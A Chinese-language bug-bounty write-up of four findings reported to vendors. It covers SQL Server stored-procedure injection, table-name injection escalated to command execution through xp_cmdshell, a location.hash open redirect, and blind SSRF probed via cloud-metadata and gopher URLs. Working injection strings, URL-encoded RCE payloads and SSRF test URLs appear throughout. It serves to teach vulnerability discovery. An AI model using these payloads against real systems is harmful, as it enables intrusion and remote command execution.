0x00 前言

四個漏洞描述順序：

存儲過程sql注入；
table頭注入；
通用的url跳轉(zhuǎn)；
盲ssrf漏洞；

0x01 存儲過程sql注入

這是我在挖國外遇到的一個網(wǎng)站，遇到的一個真實案例，一個后臺的某個功能點，存在存儲過程sql注入，使用單引號測試，發(fā)現(xiàn)他報錯了。

ERROR:[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function 'proc_*' expects parameter '@linked', which was not supplied.

這個報錯很特別，和我平時看到的sql server報錯信息不一樣，我第一時間去谷歌搜索了下這個報錯信息，很快就找到了一篇文章。

https://stackoverflow.com/questions/19703653/stored-procedure-or-function-expects-parameter-which-is-not-supplied

stackoverflow查看網(wǎng)站報錯信息真的很方便，很方便幫我們判斷使用了哪些技術(shù). 雖然我英語很差，但是谷歌瀏覽器自帶的翻譯功能就夠了，很快我就知道這是個sql server的存儲過程報錯。

話說回來，不通過谷歌搜索報錯語句，通過單引號報錯，其實就可能猜出來個大概。

我還是很常規(guī)的測試，因為報錯了，所以我企圖用最簡單的方法讓其報錯出user/database等，嘗試poc：

'and 1>user and'1'='1
'and user<0 and '1'='1
等

發(fā)現(xiàn)沒有出user，甚至仍然報錯，其實這是正常的。后續(xù)測試發(fā)現(xiàn)，只要我在后面添加內(nèi)容，他就會一直報錯...，他好像不允許添加過多的注入payload

我開始從報錯注入，轉(zhuǎn)為布爾類型注入測試：

'and iif(user like '%25',1,1) and'1'='1

類似這樣的payload，結(jié)局是淚目的，語句又是各種報錯。我發(fā)現(xiàn)不能再這樣搞了，這樣搞的話思路肯定不對。

先從理解sql報錯信息開始，理解存儲過程，sql server的存儲過程的語法是這樣的：

exec 任意語句 / exec 'sql語句'

它本身其實不需要任何單引號的閉合，因為它不是字符串類型注入，重新調(diào)整測試，測試就是學(xué)習(xí)的過程，再次上payload：

13 if(substring(db_name(),1,1)='*')waitfor delay'03'

一頓fuzz，延時3s：

說明我的這個poc沒有問題，一開始踩了一個坑，一個認(rèn)知問題，慣性思維導(dǎo)致的錯誤。

mysql下的if：if(條件,結(jié)果1,結(jié)果2)
sql server下的if：if(條件) 結(jié)果 else (結(jié)果)

這里誤以為sql server的if也是和mysql的if使用一樣，其實完全不一樣，sql server等同mysql if函數(shù)的是iif函數(shù).

我們知道，sql server報錯有個很爽的技巧就是基于類型錯誤：int+varchar，嘗試報錯出db_name()。

報錯注入poc：

13 if(1=0/db_name())waitfor delay'01'

至此，這個注入算搞定了，我可以提交了。

0x02 table頭注入

第二個分享的案例仍然是注入，sql server table頭注入，有意思的地方在于rce處，利用一個sql server特性我rce了它。

某天我挖一個站，發(fā)現(xiàn)一個功能點存在注入，是那種很常規(guī)的注入，通過查看js，我發(fā)現(xiàn)了一個接口：

https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入點}

我看到了table參數(shù)，我覺得這可能是sql server table頭注入，這是經(jīng)常做安全測試的一種直覺，我直接輸入了sysobject，他給我大量返回了信息:

select * from {可控點}

那么我可以做的事情變得很多很多，這個注入利用成本很低，我覺得他就是個任意sql語句執(zhí)行漏洞。

我嘗試rce，為了再次確定他是表頭注入，我嘗試在可控點處添加where等條件語句，嘗試Payload。

sysobjects where xtype='u' #查詢數(shù)據(jù)庫中的所有表名

我開始嘗試rce，我們都知道sql server rce的條件是需要支持堆疊，我嘗試;waitfor delay '03';直接給我報錯了，那么大概率可能不支持堆疊查詢

不過這個注入點非常特別，是表頭注入，它滿足一定的條件，即使不支持堆疊，只要權(quán)限夠高，我們也可以rce。

先開啟xp_cmdshell擴展：

sysobjects+select+1+if+1%3d1+execute('EXEC+sp_configure+''show+advanced+options'',+1%3bRECONFIGURE%3bEXEC+sp_configure+''xp_cmdshell'',+1%3bRECONFIGURE%3b')

執(zhí)行命令：

sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+"whoami"')

直接頁面顯示了whoami信息：

我是幸運的，很快，我就提交了漏洞給相關(guān)廠商。

因為是表頭注入，所以不需要堆疊了，因為sql server的select支持 select x select x

sql server容錯率很強大，不同類型在一起不會報錯，會做自動區(qū)分。

第二個漏洞分享結(jié)束，開始第三個url跳轉(zhuǎn)漏洞分享。

0x03 通用的url跳轉(zhuǎn)

其實有時候，運氣不是總是很好，漏洞也很難挖，連續(xù)好幾天，我都沒挖到漏洞，我在那邊胡亂看著，瞎點著。

https://*/sss/yyyy?returnUrl=https://*/#/xxxx/xxx

我對url參數(shù)比較敏感，通常我會測試ssrf/xss，即使他大概率不存在，我也會測試下，很顯然，半自動化工具沒有發(fā)現(xiàn)任何ssrf和xss漏洞。

我注冊了一個賬號，我嘗試登錄，它告訴我，我的賬號需要審核，我嘗試?yán)@過，我也沒有繞過它。

我發(fā)現(xiàn)我沒發(fā)現(xiàn)漏洞了，那我就隨便看看吧，我都不抓包了，右鍵查看源代碼，發(fā)現(xiàn)了這么一段代碼，以前我就經(jīng)常做js代碼審計，這段代碼我不會陌生。

if(location.hash){location="https://hostname"+location.hash.substring(1);}

稍微學(xué)過一點js的也不會陌生，不過我們還是要走一遍基礎(chǔ)的測試流程，它使用location.hash.*去傳遞參數(shù)。

這個就是錨點符，常用于站內(nèi)url跳轉(zhuǎn)，記錄#/后面的內(nèi)容，其實這里的本意是做站內(nèi)url跳轉(zhuǎn)用的，不過這里沒在hostname結(jié)尾處加/這個字符串，導(dǎo)致可以任意跳轉(zhuǎn)。

我們簡單測試下：

那么如果我們想任意url跳轉(zhuǎn)怎么辦？？？

http://example.com/#.dnslog.cn

除了這樣還可以通過@domain去跳轉(zhuǎn)到第三方網(wǎng)站，更加方便?。?！

他的修復(fù)方案也很簡單:

if(location.hash){location="https://hostname/"+location.hash.substring(1);}

至此第三個漏洞就分享完了。

0x04 盲ssrf漏洞

github上提供的測試用例：

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

如果想探測是否開放gopher，又不想觸發(fā)waf怎么做？

https://ssrf.localdomain.pw/img-without-body/301-gopher-{dnslog.cn}-.i.jpg

這個url地址是可以變化的，測試什么協(xié)議就變成什么協(xié)議，其他測試樣本不再舉例，類似的，都可以隨意轉(zhuǎn)換

這里嘗試301跳轉(zhuǎn)：

GET / HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: bt8vfrpehb5ur0ldbb4o47c9s0yqmf.burpcollaborator.net
User-Agent: ImageVacuum/2.3.10 libwww-perl/6.57

有反應(yīng)，說明大概率是支持gopher協(xié)議的，那么它到底支持不支持呢？

通過查看github libwww代碼，就可以得到答案，他支持這些協(xié)議，其中包含gopher協(xié)議。

這樣我們就可以使用gopher協(xié)議去批量fuzz探測內(nèi)網(wǎng)redis等服務(wù)，這個點到此為止。

下面繼續(xù)科普下盲的ssrf怎么探測？因為一般信息收集不全的情況下，我們沒什么內(nèi)網(wǎng)ip地址，那么我們怎么證明是盲ssrf呢？

本地ip:存在端口 vs 本地ip:大概率不存在的端口

25端口提示我圖片類型不對：

審核編輯 ：李倩